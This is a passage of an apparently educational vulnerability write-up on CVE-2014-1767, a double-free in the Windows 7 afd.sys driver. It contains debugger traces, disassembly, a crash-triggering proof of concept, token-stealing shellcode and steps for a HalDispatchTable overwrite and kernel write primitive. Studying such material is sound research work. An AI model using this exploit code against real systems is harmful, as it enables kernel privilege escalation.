  165. 0051f4fc 75d2a671     00000050 000120c3 00156200 KERNELBASE!DeviceIoControl+0xf6  //此时control code为0x120c3  
  166. 0051f528 001517be     00000050 000120c3 00156200 kernel32!DeviceIoControlImplementation+0x80    
  167. WARNING: Stack unwind information not available. Following frames may be wrong.    
  168. 0051f718 00151396     00000012 00220ffc 00220fec CVE_2014_1767+0x17be    
  169. 0051f7b8 75d33c45     00000000 00000000 75d33c45 CVE_2014_1767+0x1396    
  170. 0051f7d0 778937f5     7ffde000 77c39b57 00000000 kernel32!BaseThreadInitThunk+0xe    
  171. 0051f810 778937c8     001514c0 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70    
  172. 0051f828 00000000     001514c0 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b    
  173.     
  174.     
  175. SYMBOL_NAME:  afd!AfdReturnTpInfo+ad    
  176.     
  177. MODULE_NAME: afd    
  178.     
  179. IMAGE_NAME:  afd.sys    
  180.     
  181. STACK_COMMAND:  .thread ; .cxr ; kb    
  182.     
  183. FAILURE_BUCKET_ID:  0xc2_7_Mdl__afd!AfdReturnTpInfo+ad    
  184.     
  185. OS_VERSION:  7.1.7601.17514    
  186.     
  187. BUILDLAB_STR:  win7sp1_rtm    
  188.     
  189. OSPLATFORM_TYPE:  x86    
  190.     
  191. OSNAME:  Windows 7    
  192.     
  193. FAILURE_ID_HASH:  {7fe1e721-1d80-7be3-9354-8d3b5b5ab1ef}    
  194.     
  195. Followup:     MachineOwner    
  196. ---------    

It can be seen that the call chain for the second release is:

AfdTransmitPackets -> AfdTliGetTpInfo -> AfdReturnTpInfo -> IoFreeMdl

At this time, if we raise g command again, we will get the same exception scene as at the beginning of this article.

Through the above call chain, it can be known that the second release is also triggered by AfdReturnTpInfo’s final trigger IoFreeMdl, but there is one more function call on this call chain, namely AfdTliGetTpInfo, let us first look at the disassembly code of this function:

  1. PAGE:0002B823 ; struc_TPInfo *__fastcall AfdTliGetTpInfo(unsigned int a1)    
  2. PAGE:0002B823 @AfdTliGetTpInfo@4 proc near            ; CODE XREF: AfdTransmitFile(x,x)+E4↓p    
  3. PAGE:0002B823                                         ; AfdTransmitPackets(x,x)+129↓p    
  4. PAGE:0002B823    
  5. PAGE:0002B823 Entry           = dword ptr -1Ch    
  6. PAGE:0002B823 ms_exc          = CPPEH_RECORD ptr -18h    
  7. PAGE:0002B823    
  8. PAGE:0002B823 ; __unwind { // __SEH_prolog4    
  9. PAGE:0002B823                 push    0Ch    
  10. PAGE:0002B825                 push    offset stru_20998    
  11. PAGE:0002B82A                 call    __SEH_prolog4    
  12. PAGE:0002B82F                 mov     edi, ecx    
  13. PAGE:0002B831                 mov     eax, _AfdGlobalData    
  14. PAGE:0002B836                 add     eax, 178h    
  15. PAGE:0002B83B                 push    eax             ; Lookaside    
  16. PAGE:0002B83C                 call    _ExAllocateFromNPagedLookasideList@4 ; ExAllocateFromNPagedLookasideList(x)    
  17. PAGE:0002B841                 mov     esi, eax    
  18. PAGE:0002B843                 mov     [ebp+Entry], esi    
  19. PAGE:0002B846                 xor     ecx, ecx    
  20. PAGE:0002B848                 cmp     esi, ecx    
  21. PAGE:0002B84A                 jnz     short loc_2B850    
  22. PAGE:0002B84C                 xor     eax, eax    
  23. PAGE:0002B84E                 jmp     short loc_2B8B7    
  24. PAGE:0002B850 ; ---------------------------------------------------------------------------    
  25. PAGE:0002B850    
  26. PAGE:0002B850 loc_2B850:                              ; CODE XREF: AfdTliGetTpInfo(x)+27↑j    
  27. PAGE:0002B850                 mov     [esi+8], ecx    
  28. PAGE:0002B853                 lea     eax, [esi+0Ch]    
  29. PAGE:0002B856                 mov     [eax], ecx    
  30. PAGE:0002B858                 mov     [esi+10h], eax    
  31. PAGE:0002B85B                 lea     eax, [esi+14h]    
  32. PAGE:0002B85E                 mov     [eax], ecx    
  33. PAGE:0002B860                 mov     [esi+18h], eax    
  34. PAGE:0002B863                 mov     [esi+34h], ecx    
  35. PAGE:0002B866                 mov     [esi+33h], cl    
  36. PAGE:0002B869                 mov     [esi+24h], ecx    
  37. PAGE:0002B86C                 or      dword ptr [esi+2Ch], 0FFFFFFFFh    
  38. PAGE:0002B870                 mov     [esi+3Ch], ecx    
  39. PAGE:0002B873                 mov     [esi+4], ecx    
  40. PAGE:0002B876                 cmp     edi, _AfdDefaultTpInfoElementCount    
  41. PAGE:0002B87C                 jbe     short loc_2B8B5    
  42. PAGE:0002B87E ;   __try { // __except at loc_2B89F    
  43. PAGE:0002B87E                 mov     [ebp+ms_exc.registration.TryLevel], ecx    
  44. PAGE:0002B881                 push    0C6646641h      ; Tag    
  45. PAGE:0002B886                 imul    edi, 18h    
  46. PAGE:0002B889                 push    edi             ; NumberOfBytes    
  47. PAGE:0002B88A                 push    10h             ; PoolType    
  48. PAGE:0002B88C                 call    ds:__imp__ExAllocatePoolWithQuotaTag@12 ; ExAllocatePoolWithQuotaTag(x,x,x)    
  49. PAGE:0002B892                 mov     [esi+20h], eax    
  50. PAGE:0002B895                 mov     byte ptr [esi+32h], 1    
  51. PAGE:0002B899                 jmp     short loc_2B8AE    
  52. PAGE:0002B89B ; ---------------------------------------------------------------------------    
  53. PAGE:0002B89B    
  54. PAGE:0002B89B loc_2B89B:                              ; DATA XREF: .rdata:stru_20998↑o    
  55. PAGE:0002B89B ;   __except filter // owned by 2B87E    
  56. PAGE:0002B89B                 xor     eax, eax    
  57. PAGE:0002B89D                 inc     eax    
  58. PAGE:0002B89E                 retn    
  59. PAGE:0002B89F ; ---------------------------------------------------------------------------    
  60. PAGE:0002B89F    
  61. PAGE:0002B89F loc_2B89F:                              ; DATA XREF: .rdata:stru_20998↑o    
  62. PAGE:0002B89F ;   __except(loc_2B89B) // owned by 2B87E    
  63. PAGE:0002B89F                 mov     esp, [ebp+ms_exc.old_esp]    
  64. PAGE:0002B8A2                 push    1               ; flag    
  65. PAGE:0002B8A4                 push    [ebp+Entry]     ; Entry    
  66. PAGE:0002B8A7                 call    _AfdReturnTpInfo@8 ; AfdReturnTpInfo(x,x)    
  67. PAGE:0002B8AC                 xor     esi, esi    
  68. PAGE:0002B8AC ;   } // starts at 2B87E    
  69. PAGE:0002B8AE    
  70. PAGE:0002B8AE loc_2B8AE:                              ; CODE XREF: AfdTliGetTpInfo(x)+76↑j    
  71. PAGE:0002B8AE                 mov     [ebp+ms_exc.registration.TryLevel], 0FFFFFFFEh    
  72. PAGE:0002B8B5    
  73. PAGE:0002B8B5 loc_2B8B5:                              ; CODE XREF: AfdTliGetTpInfo(x)+59↑j    
  74. PAGE:0002B8B5                 mov     eax, esi    
  75. PAGE:0002B8B7    
  76. PAGE:0002B8B7 loc_2B8B7:                              ; CODE XREF: AfdTliGetTpInfo(x)+2B↑j    
  77. PAGE:0002B8B7                 call    __SEH_epilog4    
  78. PAGE:0002B8BC                 retn    
  79. PAGE:0002B8BC ; } // starts at 2B823    
  80. PAGE:0002B8BC @AfdTliGetTpInfo@4 endp    

The structure is similar to the last scene, both contain an exception handling, it is known from the above call chain that it must be the try block that triggered the exception to possibly call AfdReturnTpInfo, then we put a breakpoint at the call at 0002B88C to see the scene (0x10000 is the base address of IDA loading afd.sys):


According to the definition of ExAllocatePoolWithQuotaTag:

  1. PVOID ExAllocatePoolWithQuotaTag(    
  2.   [in] __drv_strictTypeMatch(__drv_typeExpr)POOL_TYPE PoolType,    
  3.   [in] SIZE_T                                         NumberOfBytes,    
  4.   [in] ULONG                                          Tag    
  5. );    

It is known that it is currently trying to allocate a block of memory of size 4294967280 (about 3.9Gb). Since the debugged machine is 32-bit and PAE is not enabled, this situation will inevitably cause an exception, so it will execute to the AfdReturnTpInfo function at 0002B8A7.

At the same time, it should be noted that after a struc_TPInfo is allocated from the LookasideList memory at 0002B83C, the MdlAddress member of struc_TPInfo->struc_UnkObj is not initialized, because an exception occurred when trying to call ExAllocatePoolWithQuotaTag to initialize this member field (applying for 3.9Gb memory), so the execution flow jumped to the exception handling block’s AfdReturnTpInfo, but the AfdReturnTpInfo function body will execute the release operation on struc_TPInfo->struc_UnkObj->MdlAddress:



So because the struc_TPInfo structure allocated this time uses the memory that was released (returned) to LookasidList after the last call to AfdTransmitFile, due to the dangling pointer problem analyzed at the beginning of this article, it caused IoFreeMdl to be released twice. Same memory.

This is the answer to the ultimate question at the beginning of this article-why DoubleFree.

Bundle 2

Also leave a bundle that will be used in the later text.

Let’s go back to the call scene of the second release:


By backtracking this scene, we can get the following call chain when the second call is made:

CVE-2014-1767 -> nt!DeviceIoControl -> afd!AfdTransmitPackets

And the parameter information for calling DeviceIoControl:

  • Control Code: 0x120c3
  • Input Buffer Address: 0x1326200
  • Input Buffer Length: 0x18

Summary of the DoubleFree Generation Process

In the above text, there is a detail that was not mentioned (highlighted in red below):

  1. When AfdTliGetTpInfo allocates the struc_TPInfo structure, it will decide whether to initialize the struc_TPInfo->struc_UnkObj structure based on the parameters.
  2. When AfdTransmitFile calls AfdTliGetTpInfo, it uses the constant 3 as the parameter for the call, which means that AfdTliGetTpInfo will never initialize struc_TPInfo->struc_UnkObj internally.
  3. When AfdTranmitPackets calls AfdTliGetTpInfo, the parameters used are controllable and not the constant 3, which means we can control AfdTliGetTpInfo to initialize struc_TPInfo->struc_UnkObj structure internally.

Knowing the above information, let’s review the cause of DoubleFree:

  • AfdTransmitFile call (first DeviceIoControl):
  1. Calls AfdTliGetTpInfo to allocate the struc_TPInfo structure, at this time the parameter for calling AfdTliGetTpInfo is fixed at 3, and does not initialize the struc_TPInfo->struc_UnkObj->MdlAddress member.
  2. Calls IoAllocateMdl to allocate memory address, assigns it to the struc_TPInfo->struc_UnkObj->MdlAddress member.
  3. Calls MmProbeAndLockPages to try to lock struc_TPInfo->struc_UnkObj->MdlAddress, an exception occurs due to an illegal address.
  4. The exception handling function takes over, calls the AfdReturnTpInfo function to release struc_TPInfo, but does not set the pointer to NULL, thus causing a dangling pointer.
  • AfdTransmitPackts call (second DeviceIoControl):
  1. Calls AfdTliGetTpInfo to allocate the struc_TPInfo structure, at this time the parameter for calling AfdTliGetTpInfo is externally input, causing the need to initialize the struc_TPInfo->struc_UnkObj->MdlAddress member.
  2. AfdTliGetTpInfo tries to use ExAllocatePoolWithQuotaTag to allocate 3.9Gb of memory, an exception occurs.
  3. The exception handling function takes over, calls the AfdReturnTpInfo function to clean up the just allocated struc_TPInfo structure.
  4. Since the struc_TPInfo structure allocated this time is the memory returned to LookasideList after the AfdTransmitFile call caused an exception, this piece of memory contains the value of the last pointer (dangling pointer).
  5. When calling IoFreeMdl, it tries to clean up the memory area pointed to by the dangling pointer again.
  6. BSOD

Construct POC

Failed Attempt

This section involves two bundles mentioned in the above text. Through the analysis of the data in the stack, we can write the following POC code:

  1. #include <windows.h>    
  2. #include <ntdef.h>    
  3. #include <winternl.h>    
  4. #include <stdio.h>    
  5. typedef struct _INPUT_AfdTransmitFile {    
  6.     DWORD field1;    
  7.     DWORD field2;    
  8.     DWORD field3;    
  9.     DWORD field4;    
  10.     DWORD field5;    
  11.     DWORD field6;    
  12.     DWORD field7;    
  13.     DWORD field8;    
  14.     DWORD field9;    
  15.     DWORD field10;    
  16.     DWORD field11;    
  17.     DWORD field12;    
  18. } INPUT_AfdTransmitFile;    
  19.      
  20. typedef struct _INPUT_AfdTransmitPackets {    
  21.     DWORD field1;    
  22.     DWORD field2;    
  23.     DWORD field3;    
  24.     DWORD field4;    
  25.     DWORD field5;    
  26.     DWORD field6;    
  27. } INPUT_AfdTransmitPackets;    
  28.      
  29. int main()    
  30. {    
  31.     DWORD bytesRet;    
  32.      
  33.     INPUT_AfdTransmitFile InputAfdTransmitFile = {0};    
  34.     memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));    
  35.     InputAfdTransmitFile.field7 = 0x13371337;    
  36.     InputAfdTransmitFile.field8 = 0x15fcd9;    
  37.     InputAfdTransmitFile.field11 = 1;    
  38.      
  39.     INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};    
  40.     memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));    
  41.     InputAfdTransmitPackets.field1 = 1;    
  42.     InputAfdTransmitPackets.field2 = 0x0aaaaaaa;    
  43.      
  44.     LPCSTR deviceStr = "\\\\?\\GLOBALROOT\\Device\\Afd";    
  45.     HANDLE hDevice = CreateFile( deviceStr, \    
  46.             GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE, \    
  47.             FILE_SHARE_READ, \    
  48.             NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);    
  49.      
  50.     DeviceIoControl((HANDLE)hDevice, 0X1207F, (LPVOID)&InputAfdTransmitFile, \    
  51.             sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);    
  52.     DeviceIoControl((HANDLE)hDevice, 0X120C3, (LPVOID)&InputAfdTransmitPackets, \    
  53.             sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);    
  54.      
  55.     return 0;    
  56. }    

The test found that it could not trigger a crash. Through the cause of the above vulnerability, breakpoints were set at afd!AfdTransmitFile and afd!AfdTransmitPackets for further analysis. It was finally found that the following check in afd!AfdTransmitPackets did not pass:

  1. FsContext = (unsigned __int8 *)a2->FileObject->FsContext;    
  2. v56 = FsContext;    
  3. v3 = *(_WORD *)FsContext;    
  4. if ( *(_WORD *)FsContext == 0x1AFD )    
  5. {    
  6.   v66 = STATUS_INVALID_PARAMETER_12;    
  7.   goto LABEL_148;    
  8. }    
  9. if ( v3 != (__int16)0xAFD2 <--- The check here did not pass, causing it to jump directly to the end of the function.
  10.   && (v3 != (__int16)0xAFD1 || (*((_DWORD *)FsContext + 2) & 0x200) == 0 && (*((_DWORD *)FsContext + 3) & 0x8000) == 0)    
  11.   || FsContext[2] != 4 )    

By tracking the constant 0xAFD2 in the kernel, the position of this constant is finally located as shown in the following figure:


Next, let’s see what the winsock2 module is used for. The fastest way to understand the function of a module is through its header file. Let’s take a look at its exported functions:


Found an old acquaintance, WSAStartup, so it is speculated that \\?\GLOBALROOT\Device\Afd is related to the socks function. Trying to replace the handle with the handle generated by the socks function successfully triggered BSOD.

Successful Construction of POC

Knowing the correct handle type, we can create the correct device object to construct the POC that triggers BSOD. The port in the following POC can be any open port.

  1. #include <windows.h>      
  2. #include <ntdef.h>      
  3. #include <winternl.h>      
  4. #include <stdio.h>      
  5.        
  6. typedef struct _INPUT_AfdTransmitFile {      
  7.     DWORD field1;      
  8.     DWORD field2;      
  9.     DWORD field3;      
  10.     DWORD field4;      
  11.     DWORD field5;      
  12.     DWORD field6;      
  13.     DWORD field7;      
  14.     DWORD field8;      
  15.     DWORD field9;      
  16.     DWORD field10;      
  17.     DWORD field11;      
  18.     DWORD field12;      
  19. } INPUT_AfdTransmitFile;      
  20.        
  21. typedef struct _INPUT_AfdTransmitPackets {      
  22.     DWORD field1;      
  23.     DWORD field2;      
  24.     DWORD field3;      
  25.     DWORD field4;      
  26.     DWORD field5;      
  27.     DWORD field6;      
  28. } INPUT_AfdTransmitPackets;      
  29.        
  30. int main()      
  31. {      
  32.     DWORD bytesRet;      
  33.        
  34.     INPUT_AfdTransmitFile InputAfdTransmitFile = {0};      
  35.     memset(&InputAfdTransmitFile, 0, sizeof(INPUT_AfdTransmitFile));      
  36.     InputAfdTransmitFile.field7 = 0x13371337;      
  37.     InputAfdTransmitFile.field8 = 0x15fcd9;      
  38.     InputAfdTransmitFile.field11 = 1;      
  39.        
  40.     INPUT_AfdTransmitPackets InputAfdTransmitPackets = {0};      
  41.     memset(&InputAfdTransmitPackets, 0, sizeof(INPUT_AfdTransmitPackets));      
  42.     InputAfdTransmitPackets.field1 = 1;      
  43.     InputAfdTransmitPackets.field2 = 0x0aaaaaaa;      
  44.        
  45.     WSADATA WSAData;    
  46.     SOCKET sock_fd;    
  47.     SOCKADDR_IN sa;    
  48.     WSAStartup(0x2, &WSAData);    
  49.     sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    
  50.     memset(&sa, 0, sizeof(sa));    
  51.     sa.sin_port = htons(445);    
  52.     sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    
  53.     sa.sin_family = AF_INET;    
  54.     connect(sock_fd, (const struct sockaddr*) & sa, sizeof(sa));    
  55.     
  56.     DeviceIoControl((HANDLE)sock_fd, 0X1207F, (LPVOID)&InputAfdTransmitFile, \      
  57.             sizeof(INPUT_AfdTransmitFile), NULL, 0, &bytesRet, NULL);      
  58.     DeviceIoControl((HANDLE)sock_fd, 0X120C3, (LPVOID)&InputAfdTransmitPackets, \      
  59.             sizeof(INPUT_AfdTransmitPackets), NULL, 0, &bytesRet, NULL);      
  60.        
  61.     return 0;      
  62. }      

Construct Expolit Idea

In the previous text, the author, in the spirit of self-abuse, researched a lot of “extra things” in a root-asking way. But as a Noob, it is really too difficult for the author to construct Expolit completely by himself. Therefore, we need to refer to how the big guys construct Exploit. We need to learn the skills of constructing Exploit through the construction ideas of the big guys-this part of the skills is exactly what we do not have.

The next part of this article is mainly about the understanding of “Reference 1” and the explanation of “Reference 2”, or it can also be understood as reading notes.

Utilization Ideas

Through the analysis of the above text, it is known that the root cause of this vulnerability is DoubleFree. If we can control the memory after Free, so as to cause Object Manipulate, we can control any memory ---- that is, convert the DoubleFree problem into a UAF problem.

Get CPU Control

First of all, let’s start our thinking from the most simple purpose. Regardless of all the problems, what is the ultimate goal of vulnerability exploitation? Of course it’s not tooth decay, but to execute our ShellCode ---- so we will face two problems:

  1. How to write Shellcode into memory that can be accessed in kernel mode?
  2. How to take over the CPU execution process and let the CPU execute our Shellcode in memory?

For the first question, since our program has been loaded into memory for execution, when the kernel is running in our Expoit process space, it can naturally access the Shellcode address in user mode, so in Exploit, Shellcode is actually just a function addressReference 2:

  1. NTSTATUS __stdcall Shellcode(int a,int b,int c,int d)    
  2. {    
  3.     // Obtain the EPROCESS of self and system processes.
  4.     PEPROCESS pCur, pSys;    
  5.     DWORD ObjTable;    
  6.     MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);    
  7.     MyPsLookupProcessByProcessId(4, &pSys);    
  8.     
  9.     // Elevate privileges, 0xF8 is the token position.
  10.     *(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8);    
  11.     
  12.     // Bypass handle cleanup.
  13.     ObjTable = *(DWORD*)(pCur + 0xF4);    
  14.     *(DWORD*)(ObjTable + 0x30) -= 1;    
  15.     ObjTable = *(DWORD*)ObjTable;    
  16.     *(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0;    
  17.     
  18.     // Restore Hook.
  19.     *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation;    
  20.     
  21.     return 0;    
  22. }    

For the second question, we know that Windows has a lot of system routines (such as all in SSDT). If we can replace the address of a routine with our Shellcode address, and then call this routine, then the CPU will go to execute our Shellcode code.

Of course, the routine used by the author of this vulnerability is not in the SSDT, because the functions in this table are used too frequently, and it is easy to be called by other programs, which affects our use of the vulnerability. Here, the author of the vulnerability focused on the old acquaintance of the vulnerability exploitation circle, the cold call king: HaliQuerySystemInformation in the second item of HalDispatchTable:

  1. kd> dd HalDispatchTable L4    
  2. 83d363f8  00000004 84033940 8403380e 83ebe793    
  3. kd> dt HAL_DISPATCH 83d363f8    
  4. Wdf01000!HAL_DISPATCH    
  5.    +0x000 Version          : 4    
  6.    +0x004 HalQuerySystemInformation : 0x84033940     long  hal!HaliQuerySystemInformation+0    
  7.    +0x008 HalSetSystemInformation : 0x8403380e     long  hal!HaliSetSystemInformation+0    
  8.    +0x00c HalQueryBusSlots : 0x83ebe793     long  nt!xHalQueryBusSlots+0    
  9.    +0x010 Spare1           : 0    
  10.    +0x014 HalExamineMBR    : 0x83c155c2     void  nt!HalExamineMBR+0    
  11.    +0x018 HalIoReadPartitionTable : 0x83d7ffdf     long  nt!IoReadPartitionTable+0    
  12.    +0x01c HalIoSetPartitionInformation : 0x83ebe095     long  nt!IoSetPartitionInformation+0    
  13.    +0x020 HalIoWritePartitionTable : 0x83ebe340     long  nt!IoWritePartitionTable+0    
  14.    +0x024 HalReferenceHandlerForBus : 0x83cbd3d4     _BUS_HANDLER*  nt!KeQueryHighestNodeNumber+0    
  15.    +0x028 HalReferenceBusHandler : 0x83d23a8f     void  nt!xHalStopLegacyUsbInterrupts+0    
  16.    +0x02c HalDereferenceBusHandler : 0x83d23a8f     void  nt!xHalStopLegacyUsbInterrupts+0    
  17.    +0x030 HalInitPnpDriver : 0x8403376a     long  hal!HaliInitPnpDriver+0    
  18.    +0x034 HalInitPowerManagement : 0x84033f8a     long  hal!HaliInitPowerManagement+0    
  19.    +0x038 HalGetDmaAdapter : 0x8401b92c     _DMA_ADAPTER*  hal!HaliGetDmaAdapter+0    
  20.    +0x03c HalGetInterruptTranslator : 0x84032e6a     long  hal!HaliGetInterruptTranslator+0    
  21.    +0x040 HalStartMirroring : 0x83ebe7c0     long  nt!xHalStartMirroring+0    
  22.    +0x044 HalEndMirroring  : 0x83cde9bf     long  nt!xHalEndMirroring+0    
  23.    +0x048 HalMirrorPhysicalMemory : 0x83cde9d3     long  nt!xHalReadWheaPhysicalMemory+0    
  24.    +0x04c HalEndOfBoot     : 0x84034150     void  hal!HalpEndOfBoot+0    
  25.    +0x050 HalMirrorVerify  : 0x83cde9d3     long  nt!xHalReadWheaPhysicalMemory+0    
  26.    +0x054 HalGetCachedAcpiTable : 0x8401daf6     void*  hal!HalAcpiGetTableDispatch+0    
  27.    +0x058 HalSetPciErrorHandlerCallback : 0x84022a3a     void  hal!HaliSetPciErrorHandlerCallback+0    

According to known information, when we call NtQueryIntervalProfile, it will cause the kernel to call the HalQuerySystemInformation function.

So, if we replace the address of the HalQuerySystemInformation function with the address of our Shellcode function, and then call NtQueryIntervalProfile, our Shellcode will be executed.

Then, a new problem appeared:

  1. How to get the storage address of the HalQuerySystemInformation function?
  2. After getting the address in 1, how to write our Shellcode address to this address?

Construct Read and Write Primitives

According to the analysis of the previous section, HalQuerySystemInformation is located at HalDispatchTable+0x004. The good news is that HalDispatchTable is exported in ntoskrnl.exe:


To get the address of an exported symbol, you can use the classic combination of LoadLibrary + GetProcAddress in R3. The only thing to note is that you need to recalculate the address of the exported name based on the actual base address of ntoskrnl.exe loaded in the kernelReference 2:

  1. PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);    
  2.     
  3. Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed);    
  4. if (!NT_SUCCESS(Status))    
  5. {    
  6.     printf("MyNtQuerySystemInformation Failed %p\n", Status);    
  7.     return 0;    
  8. }    
  9.     
  10. // Info stores the basic information of ntoskrnl.exe, i.e., the nt module. 
  11. DWORD Ntbase = Info->Module[0].Base; // Base of nt module (ntoskrnl.exe)
  12.     
  13. // Info->Module[0].ImageName stores the full path of the nt module, and we need to cut out the filename.
  14. HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName);    
  15. if (Mynt == NULL)    
  16. {    
  17.     printf("LoadLibrary Nt Failed\n" );    
  18.     return 0;    
  19. }    
  20.     
  21. // Recalculate the address of HalDispatchTable.
  22. MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase;    
  23. if (MyHalDispatchTable == NULL)    
  24. {    
  25.     printf("Get HalDispatchTable Failed %p\n", GetLastError());    
  26.     return 0;    
  27. }    

OK, now we know the address of HalDispatchTable, our next step is to write the address of our Shellcode function to the position of HalDispatchTable+0x004 --- but how do we write? Let’s answer the question in the last section:

"After getting the address in HalDispatchTable, how to write our Shellcode address to this address"

Write Primitive
Windows has an interesting design. In order to manage kernel objects, Windows provides many supporting functions. These functions usually appear in groups. Their basic forms are: NtCreateXXX/NtQueryInformationXXX/NtSetInformationXXX. These three types of functions are generally used to create kernel objects or query/set the information of these kernel objects.

If you want to try to construct arbitrary address writing, the NtSetInformationXXX series of functions is a good choice. The kernel object selected by the author of the vulnerability is WorkerFactory, that is, the “victim” function is NtSetInformationWorkerFactory. Let’s first understand this function (only important parts are listed):

  1. NTSTATUS __stdcall NtSetInformationWorkerFactory(HANDLE Handle, int QueryClassInformation, DWORD *Data, SIZE_T CbData)    
  2. {    
  3.   DWORD *v7; // eax    
  4.   DWORD v10; // edi    
  5.   PVOID WorkerFactoryObject; // [esp+3Ch] [ebp-1Ch] BYREF    
  6.   …………    
  7.   v5 = 4;    
  8.   if ( CbData != v5 )    
  9.     return STATUS_INFO_LENGTH_MISMATCH;    
  10.   …………    
  11.   if ( QueryClassInformation == 8 )    
  12.   {    
  13.     …………    
  14.     v7 = Data;    
  15.   }    
  16.   …………    
  17.   v10 = *v7;    
  18.   …………    
  19.   result = ObReferenceObjectByHandle(Handle, 4u, ExpWorkerFactoryObjectType, AccessMode[0], &WorkerFactoryObject, 0);    
  20.   …………    
  21.   if ( QueryClassInformation == 8 )    
  22.   {    
  23.     …………    
  24.     *(_DWORD *)(*(_DWORD *)(*(_DWORD *)WorkerFactoryObject + 0x10) + 0x1C) = v10; // We cant construct write primitive here    
  25.     ObfDereferenceObject(WorkerFactoryObject);    
  26.     return 0;    
  27.   }    
  28.   …………    
  29. }    

Looking at the disassembly code of the function, we can write 4 bytes of data to the controlled address. The control of the address is indirectly calculated by the member value at WorkerFactory object+0x10. The key points here are:

  1. The QueryClassInformation parameter needs to be 8
  2. The CbData parameter value needs to be 4
  3. The Data parameter is the data value to be written (HalDispatchTable + 4)

So, the write primitive code constructed in Exploit is Reference 2

  1. MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0);  
  2. BYTE WorkerFactory[0xA0] = { 0 };  
  3. …………  
  4. PBYTE pObj = WorkerFactory + 0x28;  // Skip 0x28 bytes of ObjectHeader, point to the Body of the WorkerFactory object.  
  5. …………  
  6. // Write arbitrarily. Write the content of *arg3 to *( *(*object+0x10)+0x1C ).
  7. //*(*object+0x10)+0x1C = MyHalDispatchTable + 4    
  8. // Because of *object, it is impossible to construct data in this object.
  9. // So another memory is needed to construct data.     
  10. BYTE y[0x14] = { 0 };    
  11. *(DWORD*)pObj = (DWORD)y;    
  12. PBYTE py = y;    
  13. // Now there is a memory y. *(y + 0x10) + 0x1C = MyHalDispatchTable + 4.
  14. // So *(y+0x10) = MyHalDispatchTable + 4 - 0x1C.
  15. *(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C;    
  16.     
  17. …………    
  18.     
  19. // Then write the shellcode address to HalDispatchTable + 4.
  20. DWORD scAddr = (DWORD)Shellcode;    
  21. MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);    

NtQueryEaFile
It can be seen from the above write primitive code that we implemented it by constructing a malicious WorkerFactory object. However, the WorkerFactory object is created by NtCreateWorkerFactory. What we get is just a handle representing this object ---- in other words, we cannot control the specific content of this object, but we do need to forge some members of the WorkerFactory object when constructing the write primitive. How to solve this problem?

The author of the vulnerability provided another object: EaFile. We can achieve the purpose of writing the data we want to a certain address in memory through NtQueryEaFile. Without further ado, let’s look at the disassembly code:

  1. NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer,    
  2.         ULONG Length, BOOLEAN ReturnSingleEntry, PVOID EaList, ULONG EaListLength, PULONG EaIndex,    
  3.         BOOLEAN RestartScan)    
  4. {    
  5.   AccessMode[0] = CurrentThread->PreviousMode;    
  6.   if ( !AccessMode[0] )    
  7.   {    
  8.     if ( EaList && EaListLength )    
  9.     {    
  10.       v46 = 1;    
  11.       …………    
  12.       if ( ViVerifierDriverAddedThunkListHead )    
  13.       {    
  14.         …………    
  15.       }    
  16.       else    
  17.       {    
  18.         PoolWithTagPriority = ExAllocatePoolWithQuotaTag(NonPagedPool, EaListLength, 0x20206F49u);    
  19.       }    
  20.       P = PoolWithTagPriority;    
  21.       ………………    
  22.       memcpy(PoolWithTagPriority, EaList, EaListLength);    
  23.     }    
  24.     …………    
  25.     v19 = ObReferenceObjectByHandle(FileHandle, 8u, (POBJECT_TYPE)IoFileObjectType, AccessMode[0], &Object, 0);    
  26.     if ( v19 < 0 )    
  27.     {    
  28.       if ( v46 )    
  29.         ExFreePoolWithTag(P, 0);    
  30.       return v19;    
  31.     }    
  32. }    

One point needs to be emphasized here. Since the WorkerFactory object will be released during the second call to DeviceIoControl, the ExAllocatePoolWithQuotaTag memory allocation call at line 18 above will get the same piece of released memory again as long as an appropriate EaListLength value is passed in. So, what should the EaListLength be? The answer is the memory size occupied by the WorkerFactory object, so we need to know how much memory the WorkerFactory object occupies:

  1. kd> g    
  2. Breakpoint 0 hit    
  3. nt!ExAllocatePoolWithTag:    
  4. 83d2c005 8bff            mov     edi,edi    
  5. kd> kb    
  6.  # ChildEBP RetAddr      Args to Child                  
  7. 00 80e34b34 83e34174     00000000 000000a0 ef577054 nt!ExAllocatePoolWithTag    
  8. 01 80e34b60 83e68584     0137d001 80e34b88 00000078 nt!ObpAllocateObject+0xe2    
  9. 02 80e34b94 83e48060     0137d001 86629a38 00000000 nt!ObCreateObject+0x128    
  10. 03 80e34c04 83c4987a     0137d084 10000000 00000000 nt!NtCreateWorkerFactory+0x142    
  11. ………………  
  12. 0b 0024fab0 00000000     013714b0 7ffd5000 00000000 ntdll!_RtlUserThreadStart+0x1b   

As you can see, the size of the WrokerFactory object is 0xA0, and the memory area it allocates has a POOL_TYPE of 0, which is NonPagedPool.

Continue to further analyze the ExAllocatePoolWithQuotaTag function call:

